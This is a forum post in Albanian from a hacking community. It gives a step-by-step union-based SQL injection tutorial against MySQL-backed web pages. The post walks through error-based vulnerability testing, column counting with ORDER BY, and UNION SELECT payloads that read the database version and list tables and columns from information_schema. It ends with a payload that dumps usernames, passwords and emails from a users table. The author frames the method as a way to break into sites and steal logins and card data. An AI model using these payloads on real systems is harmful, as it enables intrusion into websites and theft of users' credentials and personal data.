~ aLbanian c0de ~
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Sql-Injection

Shko poshtë

Sql-Injection Empty Sql-Injection

Mesazh nga system K1LL3r Sat Jan 30, 2010 3:38 pm

Autor : boomb3rang
SQL-injetion është pra një ndër metodat më të perdorura ditët e sodit për të marr akses në ndonjë webfaqe.
Kjo metodë i jep leje sulmuesit që të sulmon përmes URL-së.
Me këtë metodë sulmuesi ka mundësi të marrë informata të ndryshme nga MYSQL-së,(username,passwords), logins të ndryshëm, akses nëpër faqe të administrimit, CC etj...



====================================
1.2 Provo faqen për vulnerability!!
====================================

Të themi se kemi dicka të till:

------------------------------------
http://www.site.com/vesti.php?id=1
------------------------------------


Tani që të testojm se a është faqa vulnerability, apo thjesht a ka buggs shkojm dhe ja shtojm (') pra presjen lart, e cila do të duket kështu:

------------------------------------
http://www.site.com/vesti.php?id=1'
------------------------------------

Pra pas këtij veprimi, nëse na jepë ndonjë error si psh.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++
"You have an error in your SQL syntax;" ose "Warning: mysql_result() [function.mysql-result]:"
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++

Me këtë nënkuptohet se faqja është vulnerability, pra ka lëshime!




================================================== ===
1.3 Si të zbulojmë sa numra te kolumnave egzistojnë?
================================================== ===

Për të gjetur sa sa Kolumna kemi përdorim: ORDER BY
Pra "order by" pa presje do të na ndihmon të gjejmë se sa kolumna kemi ne faqen viktimes, shkojm me shembull:

-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 1-- <--> Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 2-- <--> Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 3-- <--> Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 4-- <--> Hapet faqja normal pra nuk na jep Error
-----------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=1 order by 5-- <--> Error page - Pra këtu kemi error!
-----------------------------------------------------------------------------------------------------

-Me këtë nënkuptojm se tek kjo faqe kemi 4 Kolumna, pra e marim numrin e fundit i cili nuk jep error!



=======================================
1.4 Provo për UNION SELECT funksionin!
=======================================

Pra tani do të provojmë që të nxjerim numrat e kolumnave dhe të dhenat tjera në dritare, përmes "Union select".

Nëse kemi 4 numra te kolumnave në shembull, do të dukej dicka e tillë:

---------------------------------------------------------------
http://www.site.com/vesti.php?id=1 union select 1,2,3,4--
---------------------------------------------------------------

Nëse tek dritarja na shfaqen ndonjeri prej numrave prej 1-4 atëherë mirë është dhe funksionon krejt në rregull por në qoft se jo atëhere provoni të ja shtoni nji - (minus) perpara tek "1(njëshi)" i parë pra, numrat munden të ndryshojnë mundë të jenë 50,71,9999 etj shembull:

-------------------------------------------------------------------
http://www.site.com/vesti.php?id=-50 union select 1,2,3,4--
-------------------------------------------------------------------
http://www.site.com/vesti.php?id=-71 union select 1,2,3,4--
-------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,3,4--
-------------------------------------------------------------------

Tani duhet të shfaqet ndonjëri prej 4 numrave prej 1-4.
Nëse shfaqet ndonjeri prej këtyre numrave atëhere gjithcka është në rregull!



=========================================
1.5 Si të zbulojmë verzionin e MYSQL-së?
=========================================

Si të zbulojmë verzionin e mysql-së është lehtë, këte mundemi te bejme duke zevendesuar numrin e kolumnes me kete "@@version".
Më pas duhet të na shfaqet se cfar verzioni eshte prezente ne faqen e viktimes.
Të themi se numri i cili shfaqet ne dritare eshte 3-shi, per te treguar me qarte do ju tregoj me shembullin me poshte.

--------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,@@version,4--
--------------------------------------------------------------------------

Dhe tani me do te na shfaqet versionin ne dritare.
Duhet cekur se tek verzioni 5.x.x , kemi mundesi te marrim tabelat&kolumnat duke perdorur funksionin "INFORMATION_SCHEMA" kurse tek verzionet me te vjetra kjo mundesi apo funksion nuk egziston.



=============================
1.6 Si të zbulojmë Table_name?
=============================

Sic kam cekur dhe me larte se egziston nje problem i vogel tek verzionet e vjetra te MYSQL-se (4.x.x. 3.x.x etj.)
Per kete arsye do ju tregoj njeher si duhet vepruar nese verzioni i mysql-se eshte 4.x.x e me pas per versionet 5.x.x.

VERSION 4.x.x
Per te gjetur table_name tek verzionet e vjetra(4.x.x, 3.x.x) skemi ndonje menyre te avancuar, pervec qe te provojmë permendsh tabelat dhe duke perdorur pak logjiken.
Per keto verzione preferohet te merrni nje list te madhe te tabelave dhe ti provoni.
Si tabela me te perdorura jane: users, user, admin, admins , member , members, login, administrators, mysql.user etj..

VERSION 5.x.x
Tani nese e vereni se faqja ka versionin 5.x.x eshte lehte pasi qe tani kemi mundesi te vendosim ne perdorim funksionin "INFORMATION_SCHEMA.TABLES" per te zbuluar tabelat dhe "INFORMATION_SCHEMA.COLUMNS" kolumnat.

Per te gjetur tabelat shkojme si tek shembulli me poshte:

----------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-9999 union select 1,2,table_name,4+from+information_schema.tables--
----------------------------------------------------------------------------------------------------------

Pra table_name e zevendesojme me numrin qe na shfaqet ne dritare, dhe me pas duhet te na shafqen tabela.



===============================
1.7 Si të zbulojmë Column_name?
===============================
E njejta gje vlen edhe per gjetjen e kolumnave(column_name) sikur tek table_name!

VERSION 4.x.x
Si kolumna me te perdorura jane: username , usern , user_name , usr , usn , pass , password , passwd , pwd , email , emailadress etj...

VERSION 5.x.x
Per te zbuluar emrat e kolumnave sic thash dhe me pare eshte njesoj sikur tek pjesa e tabela vetem se ne kete rast, ne vend ku shkruan tables duhet vendosur column/s.

Shkojm te shfaqim me shembull edhe kete:
-----------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-82 union select 1,2,column_name,4+from+information_schema.columns--
-----------------------------------------------------------------------------------------------------------

Tani per te zgjedhur vetem nje tabel dhe per ti zbuluar vetem emrat e kolumnave te saj shkojme si ne shembullin:

----------------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-82 union select 1,2,column_name,4+from+information_schema.columns+ where+table_name=USERS--
----------------------------------------------------------------------------------------------------------------------------------

Dmth ne kete rast do te shfaqen vetem column_name per tabelen "Users" .


Tani per fund, te themi që table_name është (users) dhe column_name jane(username, password, email).

Ja keshtu duhet vepruar qe te na shfaqen te dhenat nga MYSQL:

-----------------------------------------------------------------------------------------------------------------------------
http://www.site.com/vesti.php?id=-71 union select 1,2,concat(username,char(58),password,char(58),ema il),4 from users--
-----------------------------------------------------------------------------------------------------------------------------

Concat() = Perdoret per te bashkur 2,3.. ose me shum kolumna ne nje vendë.
CHAR(58) = Jane dy pika( qe bejne ndarjen ne mes column_name(së)!

MOS E KEQPORDORNI HAHAH THENX
system K1LL3r
system K1LL3r
Admininstrator
Admininstrator

Male Scorpio Numri i postimeve : 97
Piket : 269
Thanks : 0
Ditëlindje : 30/12/2009
Mosha : 30
Hobi : Hacking-Cracking

https://foorumi2010.albanianforum.net

Mbrapsht në krye Shko poshtë

Mbrapsht në krye

- Similar topics

 
Drejtat e ktij Forumit:
Ju nuk mund ti përgjigjeni temave të këtij forumi